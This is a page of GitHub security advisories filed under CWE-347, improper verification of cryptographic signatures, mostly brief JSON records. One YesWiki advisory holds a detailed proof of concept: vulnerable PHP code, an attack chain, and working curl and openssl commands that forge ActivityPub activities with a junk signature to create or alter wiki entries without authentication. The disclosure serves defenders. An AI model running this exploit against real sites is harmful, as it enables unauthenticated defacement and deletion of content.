CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1120 vulnerabilities reference this CWE, most recent first.
GHSA-MHFM-4H29-4R45
Vulnerability from github – Published: 2024-07-02 21:32 – Updated: 2024-07-02 21:32Improper verification of signature in FilterProvider prior to SMR Jul-2024 Release 1 allows local attackers to execute privileged behaviors. User interaction is required for triggering this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-20892"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-02T10:15:04Z",
"severity": "MODERATE"
},
"details": "Improper verification of signature in FilterProvider prior to SMR Jul-2024 Release 1 allows local attackers to execute privileged behaviors. User interaction is required for triggering this vulnerability.",
"id": "GHSA-mhfm-4h29-4r45",
"modified": "2024-07-02T21:32:12Z",
"published": "2024-07-02T21:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20892"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2024\u0026month=07"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MHR8-VXV5-M5V8
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:51There is a digital signature verification bypass vulnerability in AR1200, AR1200-S, AR150, AR160, AR200, AR2200, AR2200-S, AR3200, SRG1300, SRG2300 and SRG3300 Huawei routers. The vulnerability is due to the affected software improperly verifying digital signatures for the software image in the affected device. A local attacker with high privilege may exploit the vulnerability to bypass integrity checks for software images and install a malicious software image on the affected device.
{
"affected": [],
"aliases": [
"CVE-2019-5300"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-04T19:29:00Z",
"severity": "MODERATE"
},
"details": "There is a digital signature verification bypass vulnerability in AR1200, AR1200-S, AR150, AR160, AR200, AR2200, AR2200-S, AR3200, SRG1300, SRG2300 and SRG3300 Huawei routers. The vulnerability is due to the affected software improperly verifying digital signatures for the software image in the affected device. A local attacker with high privilege may exploit the vulnerability to bypass integrity checks for software images and install a malicious software image on the affected device.",
"id": "GHSA-mhr8-vxv5-m5v8",
"modified": "2024-04-04T00:51:40Z",
"published": "2022-05-24T16:47:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5300"
},
{
"type": "WEB",
"url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20190320-01-ar-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJ4X-WCXF-HM8X
Vulnerability from github – Published: 2018-07-31 18:13 – Updated: 2023-08-25 23:55The json-jwt rubygem version >= 0.5.0 && < 1.9.4 contains a CWE-347: Improper Verification of Cryptographic Signature vulnerability in Decryption of AES-GCM encrypted JSON Web Tokens that can result in Attacker can forge a authentication tag. This attack appear to be exploitable via network connectivity. This vulnerability appears to have been fixed in 1.9.4 and later.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "json-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.1"
},
{
"fixed": "1.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000539"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:46:30Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The json-jwt rubygem version \u003e= 0.5.0 \u0026\u0026 \u003c 1.9.4 contains a CWE-347: Improper Verification of Cryptographic Signature vulnerability in Decryption of AES-GCM encrypted JSON Web Tokens that can result in Attacker can forge a authentication tag. This attack appear to be exploitable via network connectivity. This vulnerability appears to have been fixed in 1.9.4 and later.",
"id": "GHSA-mj4x-wcxf-hm8x",
"modified": "2023-08-25T23:55:12Z",
"published": "2018-07-31T18:13:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000539"
},
{
"type": "WEB",
"url": "https://github.com/nov/json-jwt/pull/62"
},
{
"type": "WEB",
"url": "https://github.com/nov/json-jwt/commit/a3b2147f0f6d9aca653e7a30e453d3a92b33413f"
},
{
"type": "PACKAGE",
"url": "https://github.com/nov/json-jwt"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/json-jwt/CVE-2018-1000539.yml"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4283"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Json-jwt did not verify the cryptographic signature for data"
}
GHSA-MMV5-G2HF-R8CF
Vulnerability from github – Published: 2022-10-10 19:00 – Updated: 2025-06-09 15:31An issue was discovered in D-Bus before 1.12.24, 1.13.x and 1.14.x before 1.14.4, and 1.15.x before 1.15.2. An authenticated attacker can cause dbus-daemon and other programs that use libdbus to crash when receiving a message with certain invalid type signatures.
{
"affected": [],
"aliases": [
"CVE-2022-42010"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-10T00:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in D-Bus before 1.12.24, 1.13.x and 1.14.x before 1.14.4, and 1.15.x before 1.15.2. An authenticated attacker can cause dbus-daemon and other programs that use libdbus to crash when receiving a message with certain invalid type signatures.",
"id": "GHSA-mmv5-g2hf-r8cf",
"modified": "2025-06-09T15:31:34Z",
"published": "2022-10-10T19:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42010"
},
{
"type": "WEB",
"url": "https://gitlab.freedesktop.org/dbus/dbus/-/issues/418"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/E4CO7N226I3X5FNBR2MACCH6TS764VJP"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ND74SKN56BCYL3QLEAAB6E64UUBRA5UG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SQCSLMCK2XGX23R2DKW2MSAICQAK6MT2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E4CO7N226I3X5FNBR2MACCH6TS764VJP"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ND74SKN56BCYL3QLEAAB6E64UUBRA5UG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SQCSLMCK2XGX23R2DKW2MSAICQAK6MT2"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202305-08"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2022/10/06/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MP2X-RXHG-987G
Vulnerability from github – Published: 2022-09-03 00:00 – Updated: 2022-09-09 00:00Possible authentication bypass due to improper order of signature verification and hashing in the signature verification call in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables
{
"affected": [],
"aliases": [
"CVE-2021-35097"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-02T12:15:00Z",
"severity": "MODERATE"
},
"details": "Possible authentication bypass due to improper order of signature verification and hashing in the signature verification call in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice \u0026 Music, Snapdragon Wearables",
"id": "GHSA-mp2x-rxhg-987g",
"modified": "2022-09-09T00:00:56Z",
"published": "2022-09-03T00:00:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35097"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/august-2022-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MP5P-GQ8Q-GCGG
Vulnerability from github – Published: 2022-05-24 17:26 – Updated: 2025-11-04 21:30NCR SelfServ ATMs running APTRA XFS 05.01.00 do not properly validate softare updates for the bunch note acceptor (BNA), enabling an attacker with physical access to internal ATM components to restart the host computer and execute arbitrary code with SYSTEM privileges because while booting, the update process looks for CAB archives on removable media and executes a specific file without first validating the signature of the CAB archive.
{
"affected": [],
"aliases": [
"CVE-2020-10126"
],
"database_specific": {
"cwe_ids": [
"CWE-305",
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-21T21:15:00Z",
"severity": "HIGH"
},
"details": "NCR SelfServ ATMs running APTRA XFS 05.01.00 do not properly validate softare updates for the bunch note acceptor (BNA), enabling an attacker with physical access to internal ATM components to restart the host computer and execute arbitrary code with SYSTEM privileges because while booting, the update process looks for CAB archives on removable media and executes a specific file without first validating the signature of the CAB archive.",
"id": "GHSA-mp5p-gq8q-gcgg",
"modified": "2025-11-04T21:30:24Z",
"published": "2022-05-24T17:26:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10126"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/815655"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/815655"
},
{
"type": "WEB",
"url": "https://www.ncr.com/content/dam/ncrcom/content-type/documents/NCR_Security_Alert-2018-13_APTRA_XFS_"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MPH8-9V29-PM42
Vulnerability from github – Published: 2026-05-06 23:16 – Updated: 2026-05-06 23:16Summary
The AxonFlow SDK's WebhookSubscription (or equivalent) type did not expose the HMAC-SHA256 signing key returned by the platform's CreateWebhook endpoint. Without access to the secret through the typed SDK API, callers had no path to verify the X-AxonFlow-Signature header on incoming webhook deliveries. Affected callers had two unsatisfactory options:
- Skip signature verification entirely — accepting any payload from any source that knew the webhook URL.
- Hand-parse the raw HTTP JSON response to extract the secret, bypassing the type-safe SDK surface.
This advisory is filed across all four AxonFlow SDKs (Go, Python, TypeScript, Java) because the same defect and the same fix landed in each.
Affected versions
Versions 5.6.0 and below.
Impact
A webhook receiver using the SDK's typed API to handle inbound deliveries had no path to authenticate the source of incoming payloads. An attacker who learned the webhook URL — through misconfiguration, log leakage, observable network traffic during setup, or any other discovery channel — could forge webhook deliveries indistinguishable from legitimate ones, causing the receiving application to act on fabricated events (e.g. simulated approval-granted callbacks, simulated policy-decision callbacks, simulated step-completion callbacks).
Remediation
Upgrade to the patched version listed in Vulnerabilities below. The signing key is now exposed on the WebhookSubscription response type returned by CreateWebhook. Implementations should:
- Persist the secret returned by
CreateWebhooksecurely (it is only returned once, at create time). - On each incoming webhook delivery, compute
HMAC-SHA256(secret, raw_body)and compare it in constant time against theX-AxonFlow-Signatureheader. - Reject any delivery whose signature does not match.
Credit
Identified by AxonFlow internal security review during the April 2026 quality-freeze epic.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@axonflow/sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:16:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe AxonFlow SDK\u0027s `WebhookSubscription` (or equivalent) type did not expose the HMAC-SHA256 signing key returned by the platform\u0027s `CreateWebhook` endpoint. Without access to the secret through the typed SDK API, callers had no path to verify the `X-AxonFlow-Signature` header on incoming webhook deliveries. Affected callers had two unsatisfactory options:\n\n1. Skip signature verification entirely \u2014 accepting any payload from any source that knew the webhook URL.\n2. Hand-parse the raw HTTP JSON response to extract the secret, bypassing the type-safe SDK surface.\n\nThis advisory is filed across all four AxonFlow SDKs (Go, Python, TypeScript, Java) because the same defect and the same fix landed in each.\n\n## Affected versions\n\nVersions 5.6.0 and below.\n\n## Impact\n\nA webhook receiver using the SDK\u0027s typed API to handle inbound deliveries had no path to authenticate the source of incoming payloads. An attacker who learned the webhook URL \u2014 through misconfiguration, log leakage, observable network traffic during setup, or any other discovery channel \u2014 could forge webhook deliveries indistinguishable from legitimate ones, causing the receiving application to act on fabricated events (e.g. simulated approval-granted callbacks, simulated policy-decision callbacks, simulated step-completion callbacks).\n\n## Remediation\n\nUpgrade to the patched version listed in Vulnerabilities below. The signing key is now exposed on the `WebhookSubscription` response type returned by `CreateWebhook`. Implementations should:\n\n1. Persist the secret returned by `CreateWebhook` securely (it is only returned once, at create time).\n2. On each incoming webhook delivery, compute `HMAC-SHA256(secret, raw_body)` and compare it in constant time against the `X-AxonFlow-Signature` header.\n3. Reject any delivery whose signature does not match.\n\n## Credit\n\nIdentified by AxonFlow internal security review during the April 2026 quality-freeze epic.",
"id": "GHSA-mph8-9v29-pm42",
"modified": "2026-05-06T23:16:24Z",
"published": "2026-05-06T23:16:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getaxonflow/axonflow-sdk-typescript/security/advisories/GHSA-mph8-9v29-pm42"
},
{
"type": "PACKAGE",
"url": "https://github.com/getaxonflow/axonflow-sdk-typescript"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "axonflow-sdk-typescript: Webhook signing-key (HMAC-SHA256) not exposed by SDK type, preventing signature verification"
}
GHSA-MRC4-5458-65M9
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42An issue has been discovered on the Belden Hirschmann Tofino Xenon Security Appliance before 03.2.00. An incomplete firmware signature allows a local attacker to upgrade the equipment (kernel, file system) with unsigned, attacker-controlled, data. This occurs because the appliance_config file is signed but the .tar.sec file is unsigned.
{
"affected": [],
"aliases": [
"CVE-2017-11400"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-20T15:29:00Z",
"severity": "HIGH"
},
"details": "An issue has been discovered on the Belden Hirschmann Tofino Xenon Security Appliance before 03.2.00. An incomplete firmware signature allows a local attacker to upgrade the equipment (kernel, file system) with unsigned, attacker-controlled, data. This occurs because the appliance_config file is signed but the .tar.sec file is unsigned.",
"id": "GHSA-mrc4-5458-65m9",
"modified": "2022-05-13T01:42:17Z",
"published": "2022-05-13T01:42:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11400"
},
{
"type": "WEB",
"url": "https://github.com/airbus-seclab/security-advisories/blob/master/belden/tofino.txt"
},
{
"type": "WEB",
"url": "https://www.belden.com/hubfs/support/security/bulletins/Belden-Security-Bulletin-BSECV-2017-14-1v1-1.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MRF9-GHHP-CJFF
Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31The decoupled download and installation steps in libzypp before 17.5.0 could lead to a corrupted RPM being left in the cache, where a later call would not display the corrupted RPM warning and allow installation, a problem caused by malicious warnings only displayed during download.
{
"affected": [],
"aliases": [
"CVE-2018-7685"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-31T15:29:00Z",
"severity": "HIGH"
},
"details": "The decoupled download and installation steps in libzypp before 17.5.0 could lead to a corrupted RPM being left in the cache, where a later call would not display the corrupted RPM warning and allow installation, a problem caused by malicious warnings only displayed during download.",
"id": "GHSA-mrf9-ghhp-cjff",
"modified": "2022-05-13T01:31:50Z",
"published": "2022-05-13T01:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7685"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1091624"
},
{
"type": "WEB",
"url": "https://www.suse.com/de-de/security/cve/CVE-2018-7685"
},
{
"type": "WEB",
"url": "http://lists.suse.com/pipermail/sle-security-updates/2018-August/004510.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MV28-WJ57-F57G
Vulnerability from github – Published: 2026-07-09 20:58 – Updated: 2026-07-09 20:58Summary
HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:
| return | meaning | !return |
|---|---|---|
1 |
signature is valid | false |
0 |
signature is invalid | true ✓ |
-1 |
the verify call itself failed (internal error) | false ❌ |
false |
input rejected by PHP's argument validation | true ✓ |
The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.
The two practical paths to -1 we are aware of:
- DSA / EC public key with an RSA-only algorithm.
openssl_verify(..., $dsaKey, "RSA-SHA256")returnsint(-1)on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodifiedphp:8.3-apachelab and against any deployment using the runtime stack YesWiki's own docker image ships. - Older PHP + older OpenSSL where any unrecognised digest name returned
-1rather thanfalse. The reporting research mentions this path; on current stacksfalseis returned instead and the throw fires correctly. The DSA path replaces it.
The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 130
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
... // [Signature parse,
// outbound key fetch — see the SSRF advisory]
$actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
...
if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK
join("\n", $sigParts),
base64_decode($sigConf['signature']),
$actorPublicKey,
strtoupper($sigConf['algorithm'])
)) {
throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1
}
if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
throw new Exception('Digest mismatch'); // (c) still enforced — easy to satisfy
}
}
The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.
End-to-end attack chain
A single unauthenticated POST per operation. No session, no CSRF, no real signature.
-
Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:
json { "id": "<exact URL the server will GET>", "publicKey": { "id": "<same URL>", "publicKeyPem": "<DSA public key in PEM form>" } } -
Send a Create / Update / Delete activity to
POST /api/forms/{enabled-form-id}/actor/inbox:```http POST /?api/forms/2/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Date: Digest: SHA-256= Signature: keyId="",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="
{"@context":"https://www.w3.org/ns/activitystreams","type":"Create", "actor":"", "object":{"id":"","type":"Event","name":"...","startTime":"..."}} ```
-
YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls
openssl_get_publickey(...)which returns a valid OpenSSL key handle (DSA is parsed successfully), then callsopenssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns-1. The check!openssl_verify(...)evaluates tofalseand the throw is skipped. Digestheader is enforced, but it's a simpleSHA-256=of the body the attacker chose, so satisfying it costs onesha256sum.processActivity($activity, $form)runs: Create →EntryManager::create(), Update →EntryManager::update(), Delete →EntryManager::delete(). The triple store records the attacker'sobject.idas the source URL, which is how Update / Delete locate the entry on subsequent calls.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"
PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.
podman exec "$CTR" php -r '
$pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
$key = openssl_get_publickey($pem);
$r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
echo "openssl_verify returned: " . var_export($r, true) . "\n";
echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
'
Expected output:
openssl_verify returned: -1
!openssl_verify(...) is: false
Verify the listener is up and serving the DSA-key actor
podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo
Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).
Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):
ACTIVITY='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"' — created via the signature-verification bypass",
"content": "openssl_verify returned -1; YesWiki accepted us anyway",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$ACTIVITY" \
-w '\n HTTP %{http_code}\n'
Now, try udating the entry via the same bypass
The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.
UPDATE_ACT='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Update",
"id": "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",
"content": "this row was modified via the SAME bypass",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$UPDATE_ACT" \
-w ' HTTP %{http_code}\n'
Expected output: HTTP 200, empty body.
Impact
CRUD on bazar entries of any ActivityPub-enabled form, without authentication:
- Create -
EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row inyeswiki_pagesand a triple<tag, sourceUrl, $object['id']>inyeswiki_triples. - Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
- Delete - same lookup, then
EntryManager::delete($tag, true).
Concrete operational impact:
- Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
- Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
- Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its
object.iddiscovered, and then deleted by replaying the chain withtype=Delete. - Triple-store pollution - the
yeswiki_triplestable grows with attacker-controlledsourceUrltriples that survive entry deletion and can interfere with later federation flows. - Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.2"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52767"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T20:58:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n`HttpSignatureService::verifySignature()` checks the result of PHP\u0027s `openssl_verify()` with a **loose boolean negation** - `if (!openssl_verify(...)) { throw ... }`. PHP\u0027s `openssl_verify` has four possible return values:\n\n| return | meaning | `!return` |\n| ------ | ------------------------------------------------ | --------- |\n| `1` | signature is valid | `false` |\n| `0` | signature is invalid | `true` \u2713 |\n| `-1` | the verify call itself failed (internal error) | **`false` \u274c** |\n| `false`| input rejected by PHP\u0027s argument validation | `true` \u2713 |\n\nThe `-1` row is the bypass: PHP\u0027s truthiness rules make `-1` a truthy value, so `!(-1) === false`, the throw is skipped, and the controller proceeds to `processActivity()`. Any condition that makes OpenSSL\u0027s `EVP_VerifyFinal()` return `-1` triggers the bypass.\n\nThe two practical paths to `-1` we are aware of:\n\n1. **DSA / EC public key with an RSA-only algorithm.** `openssl_verify(..., $dsaKey, \"RSA-SHA256\")` returns `int(-1)` on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified `php:8.3-apache` lab and against any deployment using the runtime stack YesWiki\u0027s own docker image ships.\n2. **Older PHP + older OpenSSL** where any unrecognised digest name returned `-1` rather than `false`. The reporting research mentions this path; on current stacks `false` is returned instead and the throw fires correctly. The DSA path replaces it.\n\nThe reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker\u0027s payload.\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **130**\n\n```php\n// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)\npublic function verifySignature(Request $request) {\n ... // [Signature parse,\n // outbound key fetch \u2014 see the SSRF advisory]\n $actorPublicKey = openssl_get_publickey($actor[\u0027publicKey\u0027][\u0027publicKeyPem\u0027]);\n ...\n if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK\n join(\"\\n\", $sigParts),\n base64_decode($sigConf[\u0027signature\u0027]),\n $actorPublicKey,\n strtoupper($sigConf[\u0027algorithm\u0027])\n )) {\n throw new Exception(\u0027Signature verification failed\u0027); // (b) skipped when openssl_verify == -1\n }\n\n if ($request-\u003eheaders-\u003eget(\u0027Digest\u0027) !== $this-\u003egetDigest($request-\u003egetContent())) {\n throw new Exception(\u0027Digest mismatch\u0027); // (c) still enforced \u2014 easy to satisfy\n }\n}\n```\n\nThe inbox controller calls `verifySignature()` and then runs `processActivity($activity, $form)`, which is what actually mutates state.\n\n### End-to-end attack chain\n\nA single unauthenticated POST per operation. No session, no CSRF, no real signature.\n\n1. **Stand up an actor document** that the attacker controls \u2014 any public web server (or webhook receiver) that returns a JSON body with the shape:\n\n ```json\n {\n \"id\": \"\u003cexact URL the server will GET\u003e\",\n \"publicKey\": {\n \"id\": \"\u003csame URL\u003e\",\n \"publicKeyPem\": \"\u003cDSA public key in PEM form\u003e\"\n }\n }\n ```\n\n2. **Send a Create / Update / Delete activity** to `POST /api/forms/{enabled-form-id}/actor/inbox`:\n\n ```http\n POST /?api/forms/2/actor/inbox HTTP/1.1\n Host: target.example\n Content-Type: application/activity+json\n Date: \u003cRFC1123 date\u003e\n Digest: SHA-256=\u003cbase64(sha256(body))\u003e\n Signature: keyId=\"\u003cactor URL\u003e\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"\n\n {\"@context\":\"https://www.w3.org/ns/activitystreams\",\"type\":\"Create\",\n \"actor\":\"\u003cactor URL\u003e\",\n \"object\":{\"id\":\"\u003cunique object 